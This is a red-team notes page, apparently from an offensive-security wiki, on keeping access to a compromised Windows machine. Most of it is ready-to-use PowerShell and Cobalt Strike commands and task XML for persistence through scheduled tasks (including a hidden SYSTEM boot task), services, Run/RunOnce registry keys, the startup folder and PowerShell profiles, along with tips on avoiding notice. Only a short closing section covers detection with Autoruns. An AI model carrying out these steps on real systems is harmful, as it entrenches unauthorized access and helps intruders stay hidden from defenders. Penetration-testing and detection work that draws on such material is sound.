πΎ Overview
Iβve gained access to a Windows machine and I donβt want to lose it - now what?
There are many different ways to establish persistence on a Windows machine to ensure that you donβt lose access if the machine reboots, your shell dies, etc.
This page will walk through some commonly used tricks to establish persistence either as a standard user, or as system if youβve established elevated permissions on the target machine.
β° Scheduled Tasks
These can be run as either a standard user, or system with elevated privileges.
Scheduled tasks are the Windows equivalent of cronjobs - theyβre scheduled jobs which run based on a given trigger under a specific user context. The trigger can be time based (ex. every 6 hours), or event based (ex. on Logon/Reboot).
We can use these to our advantage to run a payload when a user logs in, a system reboots, etc.
π Exploitation
π PowerShell
Register a schtask to start at boot and run as system (Requires admin rights):
$Action = New-ScheduledTaskAction -Execute "[Payload Path]"
$Trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "RunAtBoot" -Action $Action -Trigger $Trigger -RunLevel Highest -User "SYSTEM" -Force
Register a schtask to start on user login and run as the current user:
$Action = New-ScheduledTaskAction -Execute "[Payload Path]"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "RunAtLogon" -Action $Action -Trigger $Trigger -RunLevel Highest -User "$env:USERNAME" -Force
π Cobalt Strike
Using Cobalt we can use the schtaskscreate
BOF to create a scheduled task based on a given XML file.
Trigger a payload on login as a given user:
<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<LogonTrigger>
<Enabled>true</Enabled>
<UserId>[DOMAIN]\[USER]</UserId>
</LogonTrigger>
</Triggers>
<Principals>
<Principal>
<UserId>[DOMAIN]\[USER]</UserId>
</Principal>
</Principals>
<Settings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
</Settings>
<Actions>
<Exec>
<Command>%LOCALAPPDATA%\[PAYLOAD.EXE]</Command>
</Exec>
</Actions>
</Task>
Trigger a payload on boot as system:
<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<BootTrigger>
<Enabled>true</Enabled>
</BootTrigger>
</Triggers>
<Principals>
<Principal>
<UserId>NT AUTHORITY\SYSTEM</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
</Settings>
<Actions>
<Exec>
<Command>C:\Windows\System32\[PAYLOAD.EXE]</Command>
</Exec>
</Actions>
</Task>
The following command will prompt you for an XML file to create the task from:
schtaskscreate [PATH] XML CREATE
π·ββ Services
These require elevated privileges on the target machine and will run as system.
Windows services can be a great way to establish persistence if youβve already established privileged access to the machine. These will require administrator rights to create, and the creation of a new service can be a rather noticeable event on the system for a blue team.
π Exploitation
This requires you to use a binary that behaves like a Windows Service. Starting a normal payload will not work. If generating with C2 like Sliver you'll need to use the service option.
PowerShell:
New-Service -Name "[Name]" -BinaryPathName "[Path]" -DisplayName "[Name]" -Description "[Description]" -StartupType Automatic
Cobalt Strike:
sc_create dbgsvc "Debug Service" C:\Windows\System32\debug_svc.exe "Windows Debug Service" 0 2 3
π Startup Folder
- Each user has a startup folder, programs placed within this folder will automatically run when a user logs in.
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
π Registry Keys
There are several registry keys that can be useful for establishing persistence on Windows machines.
The Run
and RunOnce
keys can be used to run a program when a user logs in.
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
- persistent
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
- deleted after one run
π Exploitation
Powershell:
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "[Name]" -Value "[Payload Path]" -Type ExpandString
Cobalt Strike:
# Create a reg key
reg_set HKCU Software\Microsoft\Windows\CurrentVersion\Run [Name] REG_EXPAND_SZ [Payload Path]
# Check w reg_query
# Delete with reg_delete
π§ PowerShell Profiles
PowerShell profiles are loaded whenever a new PS window is started by a user unless the -NoProfile
tag is used.
Theyβre stored in the following locations:
- AllUsersAllHosts :
C:\Program Files\PowerShell\7\profile.ps1
- AllUsersCurrentHost :
C:\Program Files\PowerShell\7\Microsoft.PowerShell_profile.ps1
- CurrentUserAllHosts :
C:\Users\username\Documents\PowerShell\profile.ps1
- CurrentUserCurrentHost :
C:\Users\username\Documents\PowerShell\Microsoft.PowerShell_profile.ps1
We can edit $HOME\Documents\WindowsPowerShell\Profile.ps1
to modify the PS profile for our current user.
Users don't see an input prompt until the PS profile finishes loading. To avoid obvious lag this should be used to kick off another script or program and promptly exit.
π Defense & Detection
A great tool to identify persistence mechanisms is Autoruns. Autoruns is part of the Sysinternals Suite - it helps identify all auto-starting locations of a machine to find out what programs run during system bootup or user login.
π Resources
π Hyperlink | βΉοΈ Info |
---|---|
Microsoft Learn | Customizing PS Profiles |
Microsoft Learn | Autoruns - A tool for finding what programs run automatically on a machine. |
Microsoft Learn | Sysiknternals Suite |